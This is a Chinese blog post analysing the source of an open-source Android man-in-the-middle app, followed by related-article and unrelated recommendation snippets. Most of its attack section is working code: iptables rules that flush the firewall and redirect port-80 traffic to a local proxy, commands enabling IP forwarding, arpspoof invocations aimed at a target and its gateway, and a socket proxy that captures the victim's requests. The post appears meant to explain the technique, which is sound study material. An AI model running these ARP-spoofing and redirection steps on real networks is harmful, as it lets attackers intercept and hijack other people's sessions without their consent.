Android 中间人攻击
0x00
Android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话。被攻击机器和server表面上工作正常,实际上已经被中间人劫持。能够从一张图来明确这个过程。
受攻击主机发送的数据,首先经过了攻击者。从server返回的数据也经过攻击者,再发送给受攻击主机。
0x01
Android开源中间人攻击样例。请參考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQv/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" />
分析https://github.com/ssun125/Lanmitm源码,要实现arp欺骗,有关键的四步:
1、使用Iptables进行NAT数据包转发
	public static final String[] PORT_REDIRECT_CMD = {
			"iptables -t nat -F",
			"iptables -F",
			"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
			"iptables -P FORWARD ACCEPT",
			"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
					+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };
这个命令是在ProxyService类的startHttpProxy方法中调用的。
2、开启端口转发,同意本机像路由器那样转发数据包
	private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
			"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };
这个是在ArpService类的onStartCommand方法中调用的。
3、ARP投毒
		if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
			if (target_ip == null)
				target_ip = AppContext.getTarget().getIp();
			if (!target_ip.equals(AppContext.getGateway()))
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + target_ip + " "
						+ AppContext.getGateway();
			else
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + AppContext.getGateway() + " "
						+ target_ip;
			arpSpoof = new Thread() {
				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_cmd, true, false);
				}
			};
			arpSpoof.start();
		}
		if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
			arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
					+ " -t " + AppContext.getGateway() + " "
					+ AppContext.getIp();
			arpSpoofRecv = new Thread() {
				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
				}
			};
			arpSpoofRecv.start();
		}
这个是在ArpService类的onStartCommand方法中调用的。
4、在攻击者机器依据Socket原理,创建一个WebServer,原理相似于使用NanoHttpd实现简易WebServer。
这样被攻击者发送给攻击者的请求就能被获取。而且显示在界面上。
核心的代码例如以下:
public class HttpProxy extends Thread {
	......
	@Override
	public void run() {
		try {
			mServerSocket = new ServerSocket();
			mServerSocket.setReuseAddress(true);
			mServerSocket.bind(
					new InetSocketAddress(AppContext.getInetAddress(),
							HTTP_PROXY_PORT), BACKLOG);
			executor = Executors.newCachedThreadPool();
			while (!stop) {
				Socket client = mServerSocket.accept();
				DealThread dealThread = null;
				switch (mProxyMode) {
				case MODE_PROXY_SIMPLE:
					dealThread = new SimpleDealThread(client,
							mOnRequestListener);
					break;
				case MODE_PROXY_DEEP:
					dealThread = new DeepDealThread(client, mOnRequestListener);
					break;
				}
				executor.execute(dealThread);
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (mServerSocket != null) {
				try {
					mServerSocket.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
			if (executor != null) {
				executor.shutdownNow();
			}
		}
	}
	......
}
Android 中间人攻击的更多相关文章
- Android安全之Https中间人攻击漏洞
		Android安全之Https中间人攻击漏洞 0X01 概述 HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ... 
- 【Android编程】android平台的MITM瑞士军刀_cSploit源码解析及中间人攻击复现
		/文章作者:Kali_MG1937 作者博客ID:ALDYS4 QQ:3496925334 未经允许,禁止转载/ 何为MITM欺骗,顾名思义,中间人攻击的含义即为在局域网中充当数据包交换中间人的角色 ... 
- 如何避免遭受HTTS中间人攻击
		先前为大家说明了如何对App的HTTPS通讯进行中间人攻击,听起来很吓人吧-表示若是使用手机的网银或购物等App,便有可能暴露在风险之中. 会发生HTTPS遭受拦截的主要原因是客户端的App未对服务器 ... 
- 谈HTTPS中间人攻击与证书校验(二)
		上文说到HTTPS的三次握手:http://www.cnblogs.com/wh4am1/p/6616851.html 不懂的再回头去看看 三.中间人攻击 https握手过程的证书校验环节就是为了识别 ... 
- 中间人攻击 -- Cookie 喷发
		0x00 前言 分享个中间人攻击姿势,屡试不爽. 原本是篇老文,不过写的太啰嗦.今天用简明的文字,重新讲一遍. 0x01 原理 传统 cookie 嗅探,只能获得用户主动访问的站点.不访问就抓不到,效 ... 
- 中间人攻击(MITM)姿势总结
		相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ... 
- 转:中间人攻击利用框架bettercap测试
		0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ... 
- Ettercap中间人攻击--介绍
		前言 Ettercap有四种界面:Text,Curses,GTK2,Daemonize. -T 命令行界面,只显示字符.通常与配套的参数有-q(安静模式),加上该选项,则不会显示抓到的数据包 ... 
- 中间人攻击破解HTTPS传输内容
		最近App安全受到不小的關注,有人問我,說某某App不安全,究竟是真的還假的啊...所謂有被攻擊的風險,是不是危言聳聽,只是為了嚇人來著的? 現在就來為各位說明一下,是怎麼個不安全法.就來說說攻擊是怎 ... 
随机推荐
- JDK的4种引用类型
			在java中,大致有以下几种引用类型,强引用(StrongReference).软引用(SoftReference).弱引用(WeakReference).虚引用(PhantomReference) ... 
- python基础知识03-格式化输出和深浅复制
			VIM中HJKL可以上下左右移动光标. 格式化输出和深浅复制 1.字符串的拼接和格式化 sudo pip3 install ipython 安装 ipython 进入 字符串相加 str1 + str ... 
- Linux 命令大全 -  管理文件和目录的命令
			1.pwd 显示当前目录 该命令的英文解释为print working directory(打印工作目录).输入pwd命令,Linux会输出当前目录. 2.cd 命令用来改变所在目录 cd / 转到根 ... 
- 利用Bitvise SSH Client设置二级代理
			浏览器设置代理 chrome: 插件:SwitchyOmega 二级代理 软件:Bitvise SSH Client 友情连接:链接: https://pan.baidu.com/s/1fdth_TZ ... 
- C#中的ComboBox实现只能选择不能输入,且下拉框中有默认值。
			下拉框有DropDownStyle这一属性,把DropDownStyle类型选为DropDownList,则下拉框只能选择不能输入了.但是这时的下拉框是没有默认值的,即使在Text属性中输入默认值,也 ... 
- spring用到的设计模式
			https://www.cnblogs.com/yuefan/p/3763898.html https://www.cnblogs.com/hwaggLee/p/4510687.html https: ... 
- CDOJ 1217 The Battle of Chibi
			The Battle of Chibi Time Limit: 6000/4000MS (Java/Others) Memory Limit: 65535/65535KB (Java/Othe ... 
- 洛谷P1504 积木城堡
			题目描述 XC的儿子小XC最喜欢玩的游戏用积木垒漂亮的城堡.城堡是用一些立方体的积木垒成的,城堡的每一层是一块积木.小XC是一个比他爸爸XC还聪明的孩子,他发现垒城堡的时候,如果下面的积木比上面的积木 ... 
- uva12558 Egyptian Fractions (HARD version)(迭代深搜)
			Egyptian Fractions (HARD version) 题解:迭代深搜模板题,因为最小个数,以此为乐观估价函数来迭代深搜,就可以了. #include<cstdio> #inc ... 
- 给你两个字符串str1,str2,找出str2在str1中的位置
			如题 题目参考链接: http://blog.csdn.net/hxz_qlh/article/details/14110221 代码来自非原创 #include <iostream> # ... 
